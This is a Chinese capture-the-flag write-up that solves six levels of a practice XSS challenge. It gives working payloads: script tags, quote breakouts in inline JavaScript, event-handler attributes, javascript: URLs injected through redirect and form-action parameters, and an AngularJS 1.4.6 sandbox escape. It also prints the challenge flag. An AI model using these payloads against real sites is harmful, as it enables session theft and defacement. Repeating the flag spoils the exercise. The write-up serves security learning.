题目描述:
你能否过关斩将解决所有XSS问题最终获得flag呢?
docker-compose.yml
version: "3.2"
services:
xss:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-xss:latest
ports:
- 3000:3000
启动方式
docker-compose up -d
题目Flag
n1book{xss_is_so_interesting}
Writeup
创建文件
touch docker-compose.yml
测试完成后,删除整个环境
docker-compose down -v
访问url:
http://c884a553-d874-4514-9c32-c19c7d7b6e1c.node3.buuoj.cn/
点击点我开始,进入level1
访问url:
http://c884a553-d874-4514-9c32-c19c7d7b6e1c.node3.buuoj.cn/level1?username=xss
因为是xss,所以对传参进行测试,修改?username=1,进行访问
会发现username参数传入什么,welcome之后就会显示什么,所以直接构造<script>
标签payload:
<script>alert(/xss/)</script>
成功通关
访问url:
http://c884a553-d874-4514-9c32-c19c7d7b6e1c.node3.buuoj.cn/level2?username=xss
继续对传参进行测试,修改?username=1,进行访问,依旧回显
输入script
标签
<script>alert(/xss/)</script>
发现被转码了,右键查看源码
url中username之后的参数传入var username里,也就是说这行代码是动态改变的
可以看到username被escape函数编码了,比较难绕过。
类似于SQL注入中的堆叠注入,闭合前面的单引号,注释后面的单引号,之后只要把我们的js代码传入里面,就可以在这个script标签中执行
构造payload:
';alert(1);'
拼接之后这行代码会变为:
var username = '';alert(1);'';
效果等同于
var username = '';
alert(1);
'';
代码就会执行alert(1)了
访问url:
http://45a495fa-3b10-4d00-b9c0-c76d2660f037.node3.buuoj.cn/level3?username=xss
输入第二关构造的payload:
';alert(1);'
发现’被\转义了
因为第一个单引号会被过滤,所以我们输入两个双引号,构造payload:
'';alert(1);'
代码就会执行alert(1)
了
审查源码,我们可以发现,第三题并没有escape。在这里可以使用使用a标签+鼠标滑过事件,构造payload:
<a onmouseover="alert(1)">
当鼠标划过这个a标签时,触发alert
构造payload:
<img src=1 onerror=alert(1)>
使用img标签
访问url:
45a495fa-3b10-4d00-b9c0-c76d2660f037.node3.buuoj.cn/level4
这是一个定时重定向,每过十秒就会重定向刷一次页面
观察url,发现没有给出参数,所以右键查看源码
<script type="text/javascript">
//time为10就是10秒重定向刷一次页面
var time = 10;
var jumpUrl;
//自定义的参数
//获取参数jumpUrl
//getQueryVariable结果为false,就赋为location.href;为true,getQueryVariable并把jumpUrl传过去,并赋值为函数的返回值
if(getQueryVariable('jumpUrl') == false){
jumpUrl = location.href;
}else{
jumpUrl = getQueryVariable('jumpUrl');
}
//下面就是一些赋值和十秒倒计时
setTimeout(jump,1000,time);
function jump(time){
if(time == 0){
location.href = jumpUrl;
}else{
time = time - 1 ;
document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
setTimeout(jump,1000,time);
}
}
//关键在这里
function getQueryVariable(variable)
{
//URL中,从?开始的参数部分然后以&进行分割,分成数组
//首先,想到的是,既然有&,并且上面提到了jumpUrl变量,那我们就得构造一个&jumpUrl变量
//这个函数returnjumpUrl的值给到上面倒计时中的innerHTML
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
</script>
注意jumpUrl就是我们要跳转的网页,因此我们要注入的点应该是jumpUrl。
先一步一步审一下代码。getQueryVariable函数里面的query就是?后面的内容,比如http://localhost:3000/level4?123456,这样的话query就是123456。
vars是query以&作为分隔符分隔后形成的数组。简单来说就是相当于获得了每个参数。
然后遍历每个参数。将每个参数以=为分隔符再分隔形成数组,这样pair[0]相当于参数名,pair[1]相当于值。接着进行判断,if(pair[0] == variable){return pair[1];}
因此我们直接构造好参数名,就是控制返回的内容。
因此这样:
通过这样的方式来实现注入
../level4?payload
伪链接
javascript:alert(1)
,浏览器会把javascript后面的那一段内容当做代码,直接在当前页面执行。
代码中接收jumpUrl作为跳转url,所以构造payload:
../level4?jumpUrl=javascript:alert(1)
等待十秒利用js伪协议触发alert(1)
访问url:
http://efd46ffe-debb-45f1-95e5-77ebeb9ae065.node3.buuoj.cn/level5
没有参数,只有一个输入框
输入正常payload:
<script>alert(/xss/)</script>
输入如下图:
结果显示不能用post方法
右键查看源码
<script type="text/javascript">
//类比第四关中,getQueryVariable为false,不进行操作,我们需要执行js代码,这显然不是我们要的
//如果想要为true,那就带上这个autosubmit参数
//只是跟这个参数autosubmit参数值的关系不大,只是需要有这样一个参数,因为下面,都是在对另一个参数action操作
if(getQueryVariable('autosubmit') !== false){
var autoForm = document.getElementById('autoForm');
//这里又一次出现了getQueryVariable函数,其实就是得存在action
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
autoForm.submit();
}else{
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
</script>
源码中有条件限制
第一个限制为
if(getQueryVariable('autosubmit') !== false){
突破第一个限制的方法是给autosubm传个值
autosubmit=1
第二个限制为
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
突破第二个限制的方法是getQueryVariable(‘action’) 不能为false,然后构造action
action=javascript:alert(1)
构造payload:
?autosubmit=1&action=javascript:alert(1)
成功执行alert(1)
访问url:
http://efd46ffe-debb-45f1-95e5-77ebeb9ae065.node3.buuoj.cn/level6?username=xss
输入paylaod:
<script>alert(1)</script>
结果输入完全被当成了字符串
本题考查的是二次渲染导致的XSS
构造payload进行验证
?username={{3*3}}
页面输出了9,证实了是模板xss
查看一下这个环境用的是哪个模板,发现是AngularJS 1.4.6:
可以参考如下网页:
看完之后会对模板注入XSS有所了解,只是因为我们的Angular版本是1.4.6,存在沙箱,因此要去搜索这个版本的Angular的沙箱逃逸的方法:
读完文章之后可以得知的逃逸的payload为:
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
因此我们可以构造payload为:
?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
成功获取flag:
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。